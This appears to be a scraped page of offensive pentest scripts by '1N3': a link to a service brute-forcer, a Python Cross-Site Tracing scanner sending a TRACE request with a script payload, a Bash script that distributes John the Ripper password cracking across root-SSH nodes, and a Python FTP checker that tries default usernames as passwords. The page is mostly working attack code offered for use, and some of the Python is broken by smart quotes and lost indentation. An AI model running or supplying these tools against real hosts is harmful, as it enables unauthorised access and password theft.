Automatically Brute Force All Services On A Remote Host

https://github.com/1N3/BruteX

Cross-Site Tracer Exploit

#!/usr/bin/python
# Cross-Site Tracer by 1N3 v20150224
# https://crowdshield.com
#
# ABOUT: A quick and easy script to check remote web servers for Cross-Site Tracing. For more robust mass scanning, you can create a list of domains or IP addresses to iterate through by doing 'for a in `cat targets.txt`; do ./xsstracer.py $a 80; done;'
#
# USAGE: xsstracer.py <IP/host> <port>
#

import socket
import time
import sys, getopt

class bcolors:
    HEADER = '\033[95m'
    OKBLUE = '\033[94m'
    OKGREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'

def main(argv):
    argc = len(argv)

    if argc <= 2:
        print bcolors.OKBLUE + "+ -- --=[Cross-Site Tracer by 1N3 v20150224" + bcolors.ENDC
        print bcolors.OKBLUE + "+ -- --=[" + bcolors.UNDERLINE + "https://crowdshield.com" + bcolors.ENDC
            print bcolors.OKBLUE + "+ -- --=[usage: %s <host> <port>" % (argv[0]) + bcolors.ENDC
            sys.exit(0)

    target = argv[1] # SET TARGET
    port = argv[2] # SET PORT

    buffer1 = "TRACE / HTTP/1.1"
    buffer2 = "Test: <script>alert(1);</script>"
    buffer3 = "Host: " + target

    print ""
    print bcolors.OKBLUE + "+ -- --=[Cross-Site Tracer by 1N3 "
    print bcolors.OKBLUE + "+ -- --=[https://crowdshield.com"
    print bcolors.OKBLUE + "+ -- --=[Target: " + target + ":" + port

    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    result=s.connect_ex((target,int(port)))

    if result == 0:
        s.send(buffer1 + "\n")
        s.send(buffer2 + "\n")
        s.send(buffer3 + "\n\n")
        data = s.recv(1024)
        script = "alert"
        if script.lower() in data.lower():
            print bcolors.FAIL + "+ -- --=[Site vulnerable to XST!" + bcolors.ENDC
            print ""
            print bcolors.WARNING + data + bcolors.ENDC
        else:
            print bcolors.OKGREEN + "+ -- --=[Site not vulnerable to XST!"
            print ""
            print ""

    else:
        print bcolors.WARNING + "+ -- --=[Port is closed!" + bcolors.ENDC

    s.close()

main(sys.argv)

GridCrack - A Grid Based Password Cracker

#!/bin/bash
# GRIDCRACK v20140822 by 1N3 @ http://xerosecurity.com
#
# USAGE: ./gridcrack <crack/status/setup> <format>
#
# ABOUT:
# GRIDCRACK is a Linux grid based password cracker used to leverage multiple servers to crack a single hash file.
#
# REQUIREMENTS:
# 1) Two or more Linux based servers running John The Ripper (john)
# 2) root SSH keys setup for automatic login/authentication via SSH keys
# 3) A large masterlist dictionary file to split amongst the configured nodes
#
# HOW IT WORKS:
# Running ./gridcrack setup will launch the initial setup of gridcrack which will prompt for the masterlist.dic file (a large wordlist of your choice..).
# From there, it will proceed to split the file into equal parts based on the number of configured nodes in this script (NUM_NODES). Next, It will transfer
# the individual parts of the split wordlist to each host via SCP. From here, the user can copy/paste their hashes into the hashes.txt (/pentest/gridcrack/hashes.txt)
# and run the appropriate command to begin the brute force attack (ie. ./gridcrack crack NT). From here, gridcrack will first copy the hashes.txt to each node first,
# then proceed to run john on each node simultaneously using the format specified (ie. NT). Results are then displayed back to the central server as
# each node finishes. A status mode is also included to show the status of john on each node (ie. ./gridcrack status NT).
#
#

# STATIC VARS
# FILL THIS OUT PRIOR TO RUNNING GRIDCRACK...
NUM_NODES=""
NODE1=""
NODE2=""
NODE3=""
GRIDCRACK_HOME=""

# CRACK MODE
if [ "$1" == "crack" ]
then
    if [ -z "$2" ]
    then
        echo "Format not set. Use ./gridcrack crack <format> to set it..."
        exit 1
    else
        FORMAT="$2"
        # TRANSFER HASHES TO EACH NODE
        echo "Transferring hashes to each node..."
        if [ "$NODE1" ]
        then
            scp $GRIDCRACK_HOME/hashes.txt root@$NODE1:$GRIDCRACK_HOME 2> /dev/null
        fi

        if [ "$NODE2" ]
        then
            scp $GRIDCRACK_HOME/hashes.txt root@$NODE2:$GRIDCRACK_HOME 2> /dev/null
        fi

        if [ "$NODE3" ]
        then
            scp $GRIDCRACK_HOME/hashes.txt root@$NODE3:$GRIDCRACK_HOME 2> /dev/null
        fi

        # START CRACKING ON EACH NODE
        echo "Starting crack mode on each node..."
        if [ "$NODE1" ]
        then
            ssh root@$NODE1 john $GRIDCRACK_HOME/hashes.txt --wordlist=$GRIDCRACK_HOME/wordlists/xaa -format=$FORMAT 2> /dev/null && ssh root@$NODE1 john $GRIDCRACK_HOME/hashes.txt -format=$FORMAT --show &
        fi

        if [ "$NODE2" ]
        then
            ssh root@$NODE2 john $GRIDCRACK_HOME/hashes.txt --wordlist=$GRIDCRACK_HOME/wordlists/xab --format=$FORMAT 2> /dev/null && ssh root@$NODE2 john $GRIDCRACK_HOME/hashes.txt --format=$FORMAT --show &   
        fi

        if [ "$NODE3" ]
        then
            ssh root@$NODE3 john $GRIDCRACK_HOME/hashes.txt --wordlist=$GRIDCRACK_HOME/wordlists/xac --format=$FORMAT 2> /dev/null && ssh root@$NODE3 john $GRIDCRACK_HOME/hashes.txt --format=$FORMAT --show &   
        fi
    fi

# SHOW STATUS
elif [ "$1" == "status" ]
then
    if [ -z "$2" ]
    then
        echo "Format not set. Use ./gridcrack status <format> to set it..."
        exit 1
    else
        FORMAT="$2"
        echo "Checking status..."
        if [ "$NODE1" ]
        then
            echo "#### NODE1:"
            ssh root@$NODE1 ps -ef | grep john | grep hashes
            ssh root@$NODE1 john $GRIDCRACK_HOME/hashes.txt -format=$FORMAT --show
        fi

        if [ "$NODE2" ]
        then
            echo "#### NODE2:"
            ssh root@$NODE2 ps -ef | grep john | grep hashes
            ssh root@$NODE2 john $GRIDCRACK_HOME/hashes.txt --format=$FORMAT --show
        fi
        if [ "$NODE3" ]
        then
            echo "#### NODE3:"
            ssh root@$NODE3 ps -ef | grep john | grep hashes
            ssh root@$NODE3 john $GRIDCRACK_HOME/hashes.txt --format=$FORMAT --show
        fi
    fi

# RUN SETUP
elif [ "$1" == "setup" ]
then
    echo "################"
    echo "Running setup..."
    echo "################"
    echo ""
    echo "Enter full name and path to masterlist.dic...(ie. /pentest/gridcrack/wordlists/masterlist.dic)"
    read MASTERLIST
    MASTERLIST_LINES=`wc -l $MASTERLIST | awk '{print $1}'`
    MASTERLIST_LINES=`expr $MASTERLIST_LINES / $NUM_NODES`
    cd $GRIDCRACK_HOME/wordlists/
    echo "Splitting wordlists... this could take a few minutes..."
    split -l $MASTERLIST_LINES $MASTERLIST
    ls -lh $GRIDCRACK_HOME/wordlists/
    if [ "$NODE1" ]
    then
        echo "Creating directory structure on $NODE1..."
        ssh root@$NODE1 mkdir $GRIDCRACK_HOME/wordlists/ -p
        scp $GRIDCRACK_HOME/wordlists/xaa root@$NODE1:$GRIDCRACK_HOME/wordlists/ 2> /dev/null
    fi

    if [ "$NODE2" ]
    then
        ssh root@$NODE2 mkdir $GRIDCRACK_HOME/wordlists/ -p
        scp $GRIDCRACK_HOME/wordlists/xab root@$NODE2:$GRIDCRACK_HOME/wordlists/ 2> /dev/null
    fi
    if [ "$NODE3" ]
    then
        ssh root@$NODE3 mkdir $GRIDCRACK_HOME/wordlists/ -p
        scp $GRIDCRACK_HOME/wordlists/xac root@$NODE3:$GRIDCRACK_HOME/wordlists/ 2> /dev/null
    fi

# SHOW HELP SCREEN
elif [ "$1" == "-h" ]
then
    echo "************* GRIDCRACK by 1N3 ********************"
    echo "Usage: ./gridcrack.sh <crack/status/setup> <format>"
    echo "************* http://xerosecurity.com *************"
else
    echo "************* GRIDCRACK by 1N3 ********************"
    echo "Usage: ./gridcrack.sh <crack/status/setup> <format>"
    echo "************* http://xerosecurity.com *************"
fi

Anonymous FTP Login Checker

#!/usr/bin/python
# Anonymous FTP login checker by 1N3 v20140805
# http://xerosecurity.com
#
# ABOUT:
# This script checks the remote host for anonymous FTP accounts enabled.

import socket
import time
import sys, getopt
def main(argv):
argc = len(argv)
if argc <= 1:
print “usage: %s <host>” % (argv[0])
sys.exit(0)
print “(–==== Checking anonymous FTP login…\n”
users=["anonymous","admin","ftp","administrator","guest"]
target = argv[1] # SET TARGET
for user in users:
print “(–==== Checking user: ” +user
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,21))
data = s.recv(1024)
s.send(‘USER ‘ +user+ ‘\r\n’)
data = s.recv(1024)
s.send(‘PASS ‘ +user+ ‘\r\n’)
data = s.recv(1024)
print data
s.send(‘QUIT’ +’\r\n’)
s.close()
main(sys.argv)